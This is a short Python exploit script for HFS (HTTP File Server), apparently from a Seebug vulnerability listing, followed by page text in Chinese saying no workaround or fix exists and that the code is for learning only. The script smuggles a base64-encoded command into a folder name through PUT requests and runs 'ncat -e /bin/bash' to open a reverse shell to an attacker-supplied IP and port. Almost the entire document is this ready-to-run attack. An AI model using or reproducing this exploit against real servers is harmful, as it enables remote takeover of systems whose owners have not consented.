import requests as req import base64 import time url = input("Url (Example http://hfs.victim/{{folder}}/: ") cookie = input("Cookie: ") ip = input("Ip: ") port = input("Port: ") headers = {"x-hfs-anti-csrf":"1","Cookie":cookie} command = "ncat {0} {1} -e /bin/bash".format(ip,port) command = command.encode('utf-8') payload = 'poc";python3 -c "import os;import base64;os.system(base64.b64decode(\''+base64.b64encode(command).decode('utf-8')+"'))" print("Send request 1") send_1 = req.put(url+payload+"/poc.txt",headers=headers, data="poc") print("Delay for 3 seconds.") time.sleep(3) print("Send request 2") print("Execute payload") send_2 = req.put(url+payload+"/poc.txt",headers=headers, data="poc")
暂无临时解决方案
暂无官方解决方案
暂无防护方案
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论